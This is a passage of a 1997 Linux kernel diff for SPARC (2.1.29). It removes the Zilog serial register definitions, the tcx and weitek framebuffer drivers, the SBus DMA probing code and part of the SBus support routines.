irq; - int flags; /* defined in tty.h */ - int type; /* UART type */ - struct tty_struct *tty; - int read_status_mask; - int ignore_status_mask; - int timeout; - int xmit_fifo_size; - int custom_divisor; - int x_char; /* xon/xoff character */ - int close_delay; - unsigned short closing_wait; - unsigned short closing_wait2; - unsigned long event; - unsigned long last_active; - int line; - int count; /* # of fd on device */ - int blocked_open; /* # of blocked opens */ - long session; /* Session of opening process */ - long pgrp; /* pgrp of opening process */ - unsigned char *xmit_buf; - int xmit_head; - int xmit_tail; - int xmit_cnt; - struct tq_struct tqueue; - struct tq_struct tqueue_hangup; - struct termios normal_termios; - struct termios callout_termios; - struct wait_queue *open_wait; - struct wait_queue *close_wait; -}; - - -#define SERIAL_MAGIC 0x5301 - -/* - * The size of the serial xmit buffer is 1 page, or 4096 bytes - */ -#define SERIAL_XMIT_SIZE 4096 - -/* - * Events are used to schedule things to happen at timer-interrupt - * time, instead of at rs interrupt time. - */ -#define RS_EVENT_WRITE_WAKEUP 0 - -#endif /* __KERNEL__ */ - -/* Conversion routines to/from brg time constants from/to bits - * per second. - */ -#define BRG_TO_BPS(brg, freq) ((freq) / 2 / ((brg) + 2)) -#define BPS_TO_BRG(bps, freq) ((((freq) + (bps)) / (2 * (bps))) - 2) - -/* The Zilog register set */ - -#define FLAG 0x7e - -/* Write Register 0 */ -#define R0 0 /* Register selects */ -#define R1 1 -#define R2 2 -#define R3 3 -#define R4 4 -#define R5 5 -#define R6 6 -#define R7 7 -#define R8 8 -#define R9 9 -#define R10 10 -#define R11 11 -#define R12 12 -#define R13 13 -#define R14 14 -#define R15 15 - -#define NULLCODE 0 /* Null Code */ -#define POINT_HIGH 0x8 /* Select upper half of registers */ -#define RES_EXT_INT 0x10 /* Reset Ext. Status Interrupts */ -#define SEND_ABORT 0x18 /* HDLC Abort */ -#define RES_RxINT_FC 0x20 /* Reset RxINT on First Character */ -#define RES_Tx_P 0x28 /* Reset TxINT Pending */ -#define ERR_RES 0x30 /* Error Reset */ -#define RES_H_IUS 0x38 /* Reset highest IUS */ - -#define RES_Rx_CRC 0x40 /* Reset Rx CRC Checker */ -#define RES_Tx_CRC 0x80 /* Reset Tx CRC Checker */ -#define RES_EOM_L 0xC0 /* Reset EOM latch */ - -/* Write Register 1 */ - -#define EXT_INT_ENAB 0x1 /* Ext Int Enable */ -#define TxINT_ENAB 0x2 /* Tx Int Enable */ -#define PAR_SPEC 0x4 /* Parity is special condition */ - -#define RxINT_DISAB 0 /* Rx Int Disable */ -#define RxINT_FCERR 0x8 /* Rx Int on First Character Only or Error */ -#define INT_ALL_Rx 0x10 /* Int on all Rx Characters or error */ -#define INT_ERR_Rx 0x18 /* Int on error only */ -#define RxINT_MASK 0x18 - -#define WT_RDY_RT 0x20 /* Wait/Ready on R/T */ -#define WT_FN_RDYFN 0x40 /* Wait/FN/Ready FN */ -#define WT_RDY_ENAB 0x80 /* Wait/Ready Enable */ - -/* Write Register #2 (Interrupt Vector) */ - -/* Write Register 3 */ - -#define RxENAB 0x1 /* Rx Enable */ -#define SYNC_L_INH 0x2 /* Sync Character Load Inhibit */ -#define ADD_SM 0x4 /* Address Search Mode (SDLC) */ -#define RxCRC_ENAB 0x8 /* Rx CRC Enable */ -#define ENT_HM 0x10 /* Enter Hunt Mode */ -#define AUTO_ENAB 0x20 /* Auto Enables */ -#define Rx5 0x0 /* Rx 5 Bits/Character */ -#define Rx7 0x40 /* Rx 7 Bits/Character */ -#define Rx6 0x80 /* Rx 6 Bits/Character */ -#define Rx8 0xc0 /* Rx 8 Bits/Character */ -#define RxN_MASK 0xc0 - -/* Write Register 4 */ - -#define PAR_ENAB 0x1 /* Parity Enable */ -#define PAR_EVEN 0x2 /* Parity Even/Odd* */ - -#define SYNC_ENAB 0 /* Sync Modes Enable */ -#define SB1 0x4 /* 1 stop bit/char */ -#define SB15 0x8 /* 1.5 stop bits/char */ -#define SB2 0xc /* 2 stop bits/char */ - -#define MONSYNC 0 /* 8 Bit Sync character */ -#define BISYNC 0x10 /* 16 bit sync character */ -#define SDLC 0x20 /* SDLC Mode (01111110 Sync Flag) */ -#define EXTSYNC 0x30 /* External Sync Mode */ - -#define X1CLK 0x0 /* x1 clock mode */ -#define X16CLK 0x40 /* x16 clock mode */ -#define X32CLK 0x80 /* x32 clock mode */ -#define X64CLK 0xC0 /* x64 clock mode */ - -/* Write Register 5 */ - -#define TxCRC_ENAB 0x1 /* Tx CRC Enable */ -#define RTS 0x2 /* RTS */ -#define SDLC_CRC 0x4 /* SDLC/CRC-16 */ -#define TxENAB 0x8 /* Tx Enable */ -#define SND_BRK 0x10 /* Send Break */ -#define Tx5 0x0 /* Tx 5 bits (or less)/character */ -#define Tx7 0x20 /* Tx 7 bits/character */ -#define Tx6 0x40 /* Tx 6 bits/character */ -#define Tx8 0x60 /* Tx 8 bits/character */ -#define TxN_MASK 0x60 -#define DTR 0x80 /* DTR */ - -/* Write Register 6 (Sync bits 0-7/SDLC Address Field) */ - -/* Write Register 7 (Sync bits 8-15/SDLC 01111110) */ - -/* Write Register 8 (transmit buffer) */ - -/* Write Register 9 (Master interrupt control) */ -#define VIS 1 /* Vector Includes Status */ -#define NV 2 /* No Vector */ -#define DLC 4 /* Disable Lower Chain */ -#define MIE 8 /* Master Interrupt Enable */ -#define STATHI 0x10 /* Status high */ -#define NORESET 0 /* No reset on write to R9 */ -#define CHRB 0x40 /* Reset channel B */ -#define CHRA 0x80 /* Reset channel A */ -#define FHWRES 0xc0 /* Force hardware reset */ - -/* Write Register 10 (misc control bits) */ -#define BIT6 1 /* 6 bit/8bit sync */ -#define LOOPMODE 2 /* SDLC Loop mode */ -#define ABUNDER 4 /* Abort/flag on SDLC xmit underrun */ -#define MARKIDLE 8 /* Mark/flag on idle */ -#define GAOP 0x10 /* Go active on poll */ -#define NRZ 0 /* NRZ mode */ -#define NRZI 0x20 /* NRZI mode */ -#define FM1 0x40 /* FM1 (transition = 1) */ -#define FM0 0x60 /* FM0 (transition = 0) */ -#define CRCPS 0x80 /* CRC Preset I/O */ - -/* Write Register 11 (Clock Mode control) */ -#define TRxCXT 0 /* TRxC = Xtal output */ -#define TRxCTC 1 /* TRxC = Transmit clock */ -#define TRxCBR 2 /* TRxC = BR Generator Output */ -#define TRxCDP 3 /* TRxC = DPLL output */ -#define TRxCOI 4 /* TRxC O/I */ -#define TCRTxCP 0 /* Transmit clock = RTxC pin */ -#define TCTRxCP 8 /* Transmit clock = TRxC pin */ -#define TCBR 0x10 /* Transmit clock = BR Generator output */ -#define TCDPLL 0x18 /* Transmit clock = DPLL output */ -#define RCRTxCP 0 /* Receive clock = RTxC pin */ -#define RCTRxCP 0x20 /* Receive clock = TRxC pin */ -#define RCBR 0x40 /* Receive clock = BR Generator output */ -#define RCDPLL 0x60 /* Receive clock = DPLL output */ -#define RTxCX 0x80 /* RTxC Xtal/No Xtal */ - -/* Write Register 12 (lower byte of baud rate generator time constant) */ - -/* Write Register 13 (upper byte of baud rate generator time constant) */ - -/* Write Register 14 (Misc control bits) */ -#define BRENAB 1 /* Baud rate generator enable */ -#define BRSRC 2 /* Baud rate generator source */ -#define DTRREQ 4 /* DTR/Request function */ -#define AUTOECHO 8 /* Auto Echo */ -#define LOOPBAK 0x10 /* Local loopback */ -#define SEARCH 0x20 /* Enter search mode */ -#define RMC 0x40 /* Reset missing clock */ -#define DISDPLL 0x60 /* Disable DPLL */ -#define SSBR 0x80 /* Set DPLL source = BR generator */ -#define SSRTxC 0xa0 /* Set DPLL source = RTxC */ -#define SFMM 0xc0 /* Set FM mode */ -#define SNRZI 0xe0 /* Set NRZI mode */ - -/* Write Register 15 (external/status interrupt control) */ -#define ZCIE 2 /* Zero count IE */ -#define DCDIE 8 /* DCD IE */ -#define SYNCIE 0x10 /* Sync/hunt IE */ -#define CTSIE 0x20 /* CTS IE */ -#define TxUIE 0x40 /* Tx Underrun/EOM IE */ -#define BRKIE 0x80 /* Break/Abort IE */ - - -/* Read Register 0 */ -#define Rx_CH_AV 0x1 /* Rx Character Available */ -#define ZCOUNT 0x2 /* Zero count */ -#define Tx_BUF_EMP 0x4 /* Tx Buffer empty */ -#define DCD 0x8 /* DCD */ -#define SYNC_HUNT 0x10 /* Sync/hunt */ -#define CTS 0x20 /* CTS */ -#define TxEOM 0x40 /* Tx underrun */ -#define BRK_ABRT 0x80 /* Break/Abort */ - -/* Read Register 1 */ -#define ALL_SNT 0x1 /* All sent */ -/* Residue Data for 8 Rx bits/char programmed */ -#define RES3 0x8 /* 0/3 */ -#define RES4 0x4 /* 0/4 */ -#define RES5 0xc /* 0/5 */ -#define RES6 0x2 /* 0/6 */ -#define RES7 0xa /* 0/7 */ -#define RES8 0x6 /* 0/8 */ -#define RES18 0xe /* 1/8 */ -#define RES28 0x0 /* 2/8 */ -/* Special Rx Condition Interrupts */ -#define PAR_ERR 0x10 /* Parity error */ -#define Rx_OVR 0x20 /* Rx Overrun Error */ -#define CRC_ERR 0x40 /* CRC/Framing Error */ -#define END_FR 0x80 /* End of Frame (SDLC) */ - -/* Read Register 2 (channel b only) - Interrupt vector */ - -/* Read Register 3 (interrupt pending register) ch a only */ -#define CHBEXT 0x1 /* Channel B Ext/Stat IP */ -#define CHBTxIP 0x2 /* Channel B Tx IP */ -#define CHBRxIP 0x4 /* Channel B Rx IP */ -#define CHAEXT 0x8 /* Channel A Ext/Stat IP */ -#define CHATxIP 0x10 /* Channel A Tx IP */ -#define CHARxIP 0x20 /* Channel A Rx IP */ - -/* Read Register 8 (receive data register) */ - -/* Read Register 10 (misc status bits) */ -#define ONLOOP 2 /* On loop */ -#define LOOPSEND 0x10 /* Loop sending */ -#define CLK2MIS 0x40 /* Two clocks missing */ -#define CLK1MIS 0x80 /* One clock missing */ - -/* Read Register 12 (lower byte of baud rate generator constant) */ - -/* Read Register 13 (upper byte of baud rate generator constant) */ - -/* Read Register 15 (value of WR 15) */ - -/* Misc macros */ -#define ZS_CLEARERR(channel) do { channel->control = ERR_RES; \ - udelay(5); } while(0) - -#define ZS_CLEARFIFO(channel) do { volatile unsigned char garbage; \ - garbage = channel->data; \ - udelay(2); \ - garbage = channel->data; \ - udelay(2); \ - garbage = channel->data; \ - udelay(2); } while(0) - -#endif /* !(_SPARC_SERIAL_H) */ diff -u --recursive --new-file linux-2.1.29/drivers/sbus/char/tcx.c linux/drivers/sbus/char/tcx.c --- linux-2.1.29/drivers/sbus/char/tcx.c Sat May 10 18:16:58 1997 +++ linux/drivers/sbus/char/tcx.c Wed Dec 31 19:00:00 1969 @@ -1,366 +0,0 @@ -/* $Id: tcx.c,v 1.9 1996/12/23 10:16:17 ecd Exp $ - * tcx.c: SUNW,tcx 24/8bit frame buffer driver - * - * Copyright (C) 1996 Jakub Jelinek (jj@sunsite.mff.cuni.cz) - * Copyright (C) 1996 Miguel de Icaza (miguel@nuclecu.unam.mx) - * Copyright (C) 1996 Eddie C. Dost (ecd@skynet.be) - */ - -#include -#include -#include -#include - -#include -#include -#include -#include - -#include "../../char/vt_kern.h" -#include "../../char/selection.h" -#include "../../char/console_struct.h" -#include "fb.h" -#include "cg_common.h" - -/* Offset of interesting structures in the tcx registers */ -#define TCX_RAM8BIT_OFFSET 0 -#define TCX_CONTROLPLANE_OFFSET 4 -#define TCX_BROOKTREE_OFFSET 8 -#define TCX_THC_OFFSET 9 -#define TCX_TEC_OFFSET 7 - -/* THC definitions */ -#define TCX_THC_MISC_REV_SHIFT 16 -#define TCX_THC_MISC_REV_MASK 15 -#define TCX_THC_MISC_RESET (1 << 12) -#define TCX_THC_MISC_VIDEO (1 << 10) -#define TCX_THC_MISC_SYNC (1 << 9) -#define TCX_THC_MISC_VSYNC (1 << 8) -#define TCX_THC_MISC_SYNC_ENAB (1 << 7) -#define TCX_THC_MISC_CURS_RES (1 << 6) -#define TCX_THC_MISC_INT_ENAB (1 << 5) -#define TCX_THC_MISC_INT (1 << 4) -#define TCX_THC_MISC_INIT 0x9f -#define TCX_THC_REV_REV_SHIFT 20 -#define TCX_THC_REV_REV_MASK 15 -#define TCX_THC_REV_MINREV_SHIFT 28 -#define TCX_THC_REV_MINREV_MASK 15 - -/* The contents are unknown */ -struct tcx_tec { - volatile int tec_matrix; - volatile int tec_clip; - volatile int tec_vdc; -}; - -struct tcx_thc { - volatile uint thc_rev; - uint thc_pad0[511]; - volatile uint thc_hs; /* hsync timing */ - volatile uint thc_hsdvs; - volatile uint thc_hd; - volatile uint thc_vs; /* vsync timing */ - volatile uint thc_vd; - volatile uint thc_refresh; - volatile uint thc_misc; - uint thc_pad1[56]; - volatile uint thc_cursxy; /* cursor x,y position (16 bits each) */ - volatile uint thc_cursmask[32]; /* cursor mask bits */ - volatile uint thc_cursbits[32]; /* what to show where mask enabled */ -}; - -static void -tcx_restore_palette (fbinfo_t *fbinfo) -{ - volatile struct bt_regs *bt; - - bt = fbinfo->info.tcx.bt; - bt->addr = 0; - bt->color_map = 0xffffffff; - bt->color_map = 0xffffffff; - bt->color_map = 0xffffffff; -} - -static void -tcx_set_control_plane (fbinfo_t *fb) -{ - register uint *p, *pend; - - p = fb->info.tcx.tcx_cplane; - if (!p) return; - for (pend = p + (fb->info.tcx.tcx_sizes [TCX_CONTROLPLANE_OFFSET] >> 2); p < pend; p++) - *p &= 0xffffff; -} - -static void -tcx_switch_from_graph (void) -{ - fbinfo_t *fb = &(fbinfo [0]); - - /* Reset control plane to 8bit mode if necessary */ - if (fb->open && fb->mmaped) - tcx_set_control_plane (fb); -} - -/* Ugh: X wants to mmap a bunch of cute stuff at the same time :-( */ -/* So, we just mmap the things that are being asked for */ -static int -tcx_mmap (struct inode *inode, struct file *file, struct vm_area_struct *vma, - long base, fbinfo_t *fb) -{ - uint size, page, r, map_size; - uint map_offset = 0, i; - long offsets[13] = { -1, TCX_RAM24BIT, TCX_UNK3, TCX_UNK4, - -1, TCX_UNK6, TCX_UNK7, - -1, -1, -1, TCX_UNK2, TCX_DHC, TCX_ALT }; - - size = vma->vm_end - vma->vm_start; - if (vma->vm_offset & ~PAGE_MASK) - return -ENXIO; - - /* To stop the swapper from even considering these pages */ - vma->vm_flags |= FB_MMAP_VM_FLAGS; - - /* Each page, see which map applies */ - for (page = 0; page < size; ){ - switch (vma->vm_offset+page){ - case TCX_RAM8BIT: - map_size = fb->type.fb_size; - map_offset = get_phys ((uint) fb->base); - break; - case TCX_TEC: - map_size = PAGE_SIZE; - map_offset = get_phys ((uint)fb->info.tcx.tec); - break; - case TCX_BTREGS: - map_size = PAGE_SIZE; - map_offset = get_phys ((uint)fb->info.tcx.bt); - break; - case TCX_THC: - map_size = PAGE_SIZE; - map_offset = get_phys ((uint)fb->info.tcx.thc); - break; - case TCX_CONTROLPLANE: - if (fb->info.tcx.tcx_cplane) { - map_size = fb->info.tcx.tcx_sizes [TCX_CONTROLPLANE_OFFSET]; - map_offset = get_phys ((uint)fb->info.tcx.tcx_cplane); - } else - map_size = 0; - break; - default: - map_size = 0; - for (i = 0; i < 13; i++) - if (offsets [i] == vma->vm_offset+page) { - if ((map_size = fb->info.tcx.tcx_sizes [i])) - map_offset = fb->info.tcx.tcx_offsets [i]; - break; - } - break; - } - if (!map_size){ - page += PAGE_SIZE; - continue; - } - if (page + map_size > size) - map_size = size - page; - r = io_remap_page_range (vma->vm_start+page, - map_offset, - map_size, vma->vm_page_prot, - fb->space); - if (r) return -EAGAIN; - page += map_size; - } - vma->vm_inode = inode; - inode->i_count++; - return 0; -} - -static void -tcx_loadcmap (fbinfo_t *fb, int index, int count) -{ - struct bt_regs *bt = fb->info.tcx.bt; - int i; - - bt->addr = index << 24; - for (i = index; count--; i++){ - bt->color_map = fb->color_map CM(i,0) << 24; - bt->color_map = fb->color_map CM(i,1) << 24; - bt->color_map = fb->color_map CM(i,2) << 24; - } - bt->addr = 0; -} - -static void -tcx_setcursormap (fbinfo_t *fb, unsigned char *red, - unsigned char *green, - unsigned char *blue) -{ - struct bt_regs *bt = fb->info.tcx.bt; - - /* Note the 2 << 24 is different from cg6's 1 << 24 */ - bt->addr = 2 << 24; - bt->cursor = red[0] << 24; - bt->cursor = green[0] << 24; - bt->cursor = blue[0] << 24; - bt->addr = 3 << 24; - bt->cursor = red[1] << 24; - bt->cursor = green[1] << 24; - bt->cursor = blue[1] << 24; - bt->addr = 0; -} - -/* Load cursor information */ -static void -tcx_setcursor (fbinfo_t *fb) -{ - uint v; - struct cg_cursor *c = &fb->cursor; - - if (c->enable){ - v = ((c->cpos.fbx - c->chot.fbx) << 16) - |((c->cpos.fby - c->chot.fby) & 0xffff); - } else { - /* Magic constant to turn off the cursor */ - v = ((65536-32) << 16) | (65536-32); - } - fb->info.tcx.thc->thc_cursxy = v; -} - -/* Set cursor shape */ -static void -tcx_setcurshape (fbinfo_t *fb) -{ - struct tcx_thc *thc = fb->info.tcx.thc; - int i; - - for (i = 0; i < 32; i++){ - thc->thc_cursmask [i] = fb->cursor.bits[0][i]; - thc->thc_cursbits [i] = fb->cursor.bits[1][i]; - } -} - -static void -tcx_blank (fbinfo_t *fb) -{ - fb->info.tcx.thc->thc_misc &= ~TCX_THC_MISC_VIDEO; -} - -static void -tcx_unblank (fbinfo_t *fb) -{ - fb->info.tcx.thc->thc_misc |= TCX_THC_MISC_VIDEO; -} - -void -tcx_reset (fbinfo_t *fb) -{ - struct tcx_info *tcx = &(fb->info.tcx); - - if (fb->setcursor) - sun_hw_hide_cursor (); - /* Reset control plane to 8bit mode if necessary */ - if (fb->open && fb->mmaped) - tcx_set_control_plane (fb); - - /* Turn off stuff in the Transform Engine. */ - tcx->tec->tec_matrix = 0; - tcx->tec->tec_clip = 0; - tcx->tec->tec_vdc = 0; - - /* Enable cursor in Brooktree DAC. */ - tcx->bt->addr = 0x06 << 24; - tcx->bt->control |= 0x03 << 24; -} - -__initfunc(void tcx_setup (fbinfo_t *fb, int slot, int node, uint tcx, struct linux_sbus_device *sbdp)) -{ - struct tcx_info *tcxinfo; - int i; - - printk ("tcx%d at 0x%8.8x ", slot, (uint) tcx); - - /* Fill in parameters we left out */ - fb->type.fb_cmsize = 256; - fb->mmap = tcx_mmap; - fb->loadcmap = tcx_loadcmap; - fb->reset = tcx_reset; - fb->blank = tcx_blank; - fb->unblank = tcx_unblank; - fb->emulations [1] = FBTYPE_SUN3COLOR; - fb->emulations [2] = FBTYPE_MEMCOLOR; - fb->switch_from_graph = tcx_switch_from_graph; - fb->postsetup = sun_cg_postsetup; - - tcxinfo = (struct tcx_info *) &fb->info.tcx; - - memset (tcxinfo, 0, sizeof(struct tcx_info)); - - for (i = 0; i < 13; i++) - tcxinfo->tcx_offsets [i] = (long)(sbdp->reg_addrs [i].phys_addr); - - /* Map the hardware registers */ - tcxinfo->bt = sparc_alloc_io ((void *) tcxinfo->tcx_offsets [TCX_BROOKTREE_OFFSET], 0, - sizeof (struct bt_regs),"tcx_dac", fb->space, 0); - tcxinfo->thc = sparc_alloc_io ((void *) tcxinfo->tcx_offsets [TCX_THC_OFFSET], 0, - sizeof (struct tcx_thc), "tcx_thc", fb->space, 0); - tcxinfo->tec = sparc_alloc_io ((void *) tcxinfo->tcx_offsets [TCX_TEC_OFFSET], 0, - sizeof (struct tcx_tec), "tcx_tec", fb->space, 0); - if (!fb->base){ - fb->base = (uint) sparc_alloc_io ((void *) tcxinfo->tcx_offsets [TCX_RAM8BIT_OFFSET], 0, - fb->type.fb_size, "tcx_ram", fb->space, 0); - } - - if (prom_getbool (node, "hw-cursor")) { - fb->setcursor = tcx_setcursor; - fb->setcursormap = tcx_setcursormap; - fb->setcurshape = tcx_setcurshape; - } - - if (!slot) { - fb_restore_palette = tcx_restore_palette; - } - - i = fb->type.fb_size; - tcxinfo->tcx_sizes[2] = i << 3; - tcxinfo->tcx_sizes[3] = i << 3; - tcxinfo->tcx_sizes[10] = 0x20000; - tcxinfo->tcx_sizes[11] = PAGE_SIZE; - tcxinfo->tcx_sizes[12] = PAGE_SIZE; - - if (prom_getbool (node, "tcx-8-bit")) - tcxinfo->lowdepth = 1; - - if (!tcxinfo->lowdepth) { - tcxinfo->tcx_sizes[1] = i << 2; - tcxinfo->tcx_sizes[4] = i << 2; - tcxinfo->tcx_sizes[5] = i << 3; - tcxinfo->tcx_sizes[6] = i << 3; - fb->type.fb_depth = 24; - tcxinfo->tcx_cplane = sparc_alloc_io ((void *) tcxinfo->tcx_offsets [TCX_CONTROLPLANE_OFFSET], 0, - tcxinfo->tcx_sizes [TCX_CONTROLPLANE_OFFSET], "tcx_cplane", fb->space, 0); - } - - /* Initialize Brooktree DAC */ - tcxinfo->bt->addr = 0x04 << 24; /* color planes */ - tcxinfo->bt->control = 0xff << 24; - tcxinfo->bt->addr = 0x05 << 24; - tcxinfo->bt->control = 0x00 << 24; - tcxinfo->bt->addr = 0x06 << 24; /* overlay plane */ - tcxinfo->bt->control = 0x73 << 24; - tcxinfo->bt->addr = 0x07 << 24; - tcxinfo->bt->control = 0x00 << 24; - - printk("Rev %d.%d %s\n", - (tcxinfo->thc->thc_rev >> TCX_THC_REV_REV_SHIFT) & TCX_THC_REV_REV_MASK, - (tcxinfo->thc->thc_rev >> TCX_THC_REV_MINREV_SHIFT) & TCX_THC_REV_MINREV_MASK, - tcxinfo->lowdepth ? "8-bit only" : "24-bit depth"); - - /* Reset the tcx */ - tcx_reset(fb); - - if (!slot) - /* Enable Video */ - tcx_unblank (fb); - else - tcx_blank (fb); -} diff -u --recursive --new-file linux-2.1.29/drivers/sbus/char/weitek.c linux/drivers/sbus/char/weitek.c --- linux-2.1.29/drivers/sbus/char/weitek.c Sat May 10 18:16:58 1997 +++ linux/drivers/sbus/char/weitek.c Wed Dec 31 19:00:00 1969 @@ -1,117 +0,0 @@ -/* $Id: weitek.c,v 1.7 1996/12/23 10:16:18 ecd Exp $ - * weitek.c: Tadpole P9100/P9000 console driver - * - * Copyright (C) 1996 David Redman (djhr@tadpole.co.uk) - */ - -#include -#include -#include -#include - -#include -#include -#include -#include -#include - -#include "../../char/vt_kern.h" -#include "../../char/selection.h" -#include "../../char/console_struct.h" -#include "fb.h" -#include "cg_common.h" - -/* - * mmap info - */ -#define WEITEK_VRAM_OFFSET 0 -#define WEITEK_VRAM_SIZE (2*1024*1024) /* maximum */ -#define WEITEK_GX_REG_OFFSET WEITEK_VRAM_SIZE -#define WEITEK_GX_REG_SIZE 8192 -#define WEITEK_VID_REG_OFFSET (WEITEK_GX_REG_OFFSET+WEITEK_GX_REG_SIZE) -#define WEITEK_VID_REG_SIZE 0x1000 - -#define CONTROL_OFFSET 0 -#define RAMDAC_OFFSET (CONTROL_OFFSET+0x200) - -#if 0 -static int -weitek_mmap(struct inode *inode, struct file *file, struct vm_area_struct *vma, - long base, fbinfo_t *fb) -{ - unsigned int size, page, r, map_size; - unsigned int map_offset = 0; - - size = vma->vm_end - vma->vm_start; - if (vma->vm_offset & ~PAGE_MASK) - return -ENXIO; - - /* To stop the swapper from even considering these pages */ - vma->vm_flags |= FB_MMAP_VM_FLAGS; - - /* Each page, see which map applies */ - for (page = 0; page < size; ){ - switch (vma->vm_offset+page){ - case WEITEK_VRAM_OFFSET: - map_size = size-page; - map_offset = get_phys ((uint) fb->base); - if (map_size > fb->type.fb_size) - map_size = fb->type.fb_size; - break; - case WEITEK_GX_REG_OFFSET: - map_size = size-page; - map_offset = get_phys ((uint) fb->base); - if (map_size > fb->type.fb_size) - map_size = fb->type.fb_size; - break; - default: - map_size = 0; - break; - } - if (!map_size){ - page += PAGE_SIZE; - continue; - } - if (page + map_size > size) - map_size = size - page; - r = io_remap_page_range (vma->vm_start+page, - map_offset, - map_size, vma->vm_page_prot, - fb->space); - if (r) return -EAGAIN; - page += map_size; - } - vma->vm_inode = inode; - inode->i_count++; - return 0; -} -#endif - -#if 0 -static void -weitek_loadcmap (void *fbinfo, int index, int count) -{ - printk("weitek_cmap: unimplemented!\n"); -} -#endif - -__initfunc(void weitek_setup(fbinfo_t *fb, int slot, uint addr, int io)) -{ - extern struct screen_info screen_info; - - printk ("weitek%d at 0x%8.8x\n", slot, addr); - - /* Fill in parameters we left out */ - fb->type.fb_type = FBTYPE_NOTSUN1; - fb->type.fb_cmsize = 256; - fb->mmap = 0; /* weitek_mmap; */ - fb->loadcmap = 0; /* unimplemented */ - fb->ioctl = 0; /* no special ioctls */ - fb->reset = 0; /* no special reset */ - - /* Map the card registers */ - if (!fb->base){ - prom_printf ("Missing mapping routine and no address found\n"); - } -} - diff -u --recursive --new-file linux-2.1.29/drivers/sbus/dvma.c linux/drivers/sbus/dvma.c --- linux-2.1.29/drivers/sbus/dvma.c Sat May 10 18:17:46 1997 +++ linux/drivers/sbus/dvma.c Wed Dec 31 19:00:00 1969 @@ -1,130 +0,0 @@ -/* dvma.c: Routines that are used to access DMA on the Sparc SBus. - * - * Copyright (C) 1995 David S. Miller (davem@caip.rutgers.edu) - */ - -#include -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -struct Linux_SBus_DMA *dma_chain; - -/* Print out the current values in the DMA control registers */ -void -dump_dma_regs(struct sparc_dma_registers *dregs) -{ - printk("DMA CONTROL<%08lx> ADDR<%08lx> CNT<%08lx> TEST<%08lx>\n", - dregs->cond_reg, - (unsigned long) dregs->st_addr, - (unsigned long) dregs->cnt, - (unsigned long) dregs->dma_test); - return; -} - - -/* Probe this SBus DMA module(s) */ -__initfunc(unsigned long -dvma_init(struct linux_sbus *sbus, unsigned long memory_start)) -{ - struct linux_sbus_device *this_dev; - struct Linux_SBus_DMA *dma; - struct Linux_SBus_DMA *dchain; - static int num_dma=0; - - for_each_sbusdev(this_dev, sbus) { - int hme = 0; - - if(!strcmp(this_dev->prom_name, "SUNW,fas")) { - hme = 1; - } else if(strcmp(this_dev->prom_name, "dma") && - strcmp(this_dev->prom_name, "ledma") && - strcmp(this_dev->prom_name, "espdma")) - continue; - - /* Found one... */ - dma = (struct Linux_SBus_DMA *) memory_start; - memory_start += sizeof(struct Linux_SBus_DMA); - - dma->SBus_dev = this_dev; - - /* Put at end of dma chain */ - dchain = dma_chain; - if(dchain) { - while(dchain->next) dchain=dchain->next; - dchain->next=dma; - } else { - /* We're the first in line */ - dma_chain=dma; - } - dma->next = 0; - - printk("dma%d: ", num_dma); - num_dma++; - - /* The constant PAGE_SIZE that is passed to sparc_alloc_io makes the - * routine only alloc 1 page, that was what the original code did - */ - if(hme) /* On HME cards, dvma lives with esp, 2 reg sets. */ - prom_apply_sbus_ranges(sbus, dma->SBus_dev->reg_addrs, - 0x2, dma->SBus_dev); - else /* All others have only 1 reg set. */ - prom_apply_sbus_ranges(sbus, dma->SBus_dev->reg_addrs, - 0x1, dma->SBus_dev); - dma->regs = (struct sparc_dma_registers *) - sparc_alloc_io (dma->SBus_dev->reg_addrs[0].phys_addr, 0, - PAGE_SIZE, "dma", - dma->SBus_dev->reg_addrs[0].which_io, 0x0); - - dma->node = dma->SBus_dev->prom_node; - dma->running=0; /* No transfers going on as of yet */ - dma->allocated=0; /* No one has allocated us yet */ - switch((dma->regs->cond_reg)&DMA_DEVICE_ID) { - case DMA_VERS0: - dma->revision=dvmarev0; - printk("Revision 0 "); - break; - case DMA_ESCV1: - dma->revision=dvmaesc1; - printk("ESC Revision 1 "); - break; - case DMA_VERS1: - dma->revision=dvmarev1; - printk("Revision 1 "); - break; - case DMA_VERS2: - dma->revision=dvmarev2; - printk("Revision 2 "); - break; - case DMA_VERHME: - dma->revision=dvmahme; - printk("HME DVMA gate array "); - break; - case DMA_VERSPLUS: - dma->revision=dvmarevplus; - printk("Revision 1 PLUS "); - break; - default: - printk("unknown dma version"); - dma->allocated = 1; - break; - } - printk("\n"); -#if 0 /* Clutters up the screen */ - dump_dma_regs(dma->regs); -#endif - }; /* while(this_dev) */ - - return memory_start; -} - diff -u --recursive --new-file linux-2.1.29/drivers/sbus/sbus.c linux/drivers/sbus/sbus.c --- linux-2.1.29/drivers/sbus/sbus.c Sat May 10 18:17:46 1997 +++ linux/drivers/sbus/sbus.c Wed Dec 31 19:00:00 1969 @@ -1,349 +0,0 @@ -/* sbus.c: SBus support routines. - * - * Copyright (C) 1995 David S. Miller (davem@caip.rutgers.edu) - */ - -#include -#include -#include -#include - -#include -#include -#include -#include -#include - -/* This file has been written to be more dynamic and a bit cleaner, - * but it still needs some spring cleaning. - */ - -struct linux_sbus *SBus_chain; - -static char lbuf[128]; - -extern void prom_sbus_ranges_init (int, struct linux_sbus *); - -/* Perhaps when I figure out more about the iommu we'll put a - * device registration routine here that probe_sbus() calls to - * setup the iommu for each Sbus. - */ - -/* We call this for each SBus device, and fill the structure based - * upon the prom device tree. We return the start of memory after - * the things we have allocated. - */ - -/* #define DEBUG_FILL */ -__initfunc(static void -fill_sbus_device(int nd, struct linux_sbus_device *sbus_dev)) -{ - int grrr, len; - unsigned long dev_base_addr, base; - - sbus_dev->prom_node = nd; - prom_getstring(nd, "name", lbuf, sizeof(lbuf)); - strcpy(sbus_dev->prom_name, lbuf); - - dev_base_addr = prom_getint(nd, "address"); - if(dev_base_addr != -1) - sbus_dev->sbus_addr = dev_base_addr; - - len = prom_getproperty(nd, "reg", (void *) sbus_dev->reg_addrs, - sizeof(sbus_dev->reg_addrs)); - if(len == -1) - goto no_regs; - if(len%sizeof(struct linux_prom_registers)) { - prom_printf("WHOOPS: proplen for %s was %d, need multiple of %d\n", - sbus_dev->prom_name, len, - (int) sizeof(struct linux_prom_registers)); - panic("fill_sbus_device"); - } - sbus_dev->num_registers = (len/sizeof(struct linux_prom_registers)); - sbus_dev->ranges_applied = 0; - - base = (unsigned long) sbus_dev->reg_addrs[0].phys_addr; - if(base>=SUN_SBUS_BVADDR || sparc_cpu_model == sun4m) { - /* Ahh, we can determine the slot and offset */ - 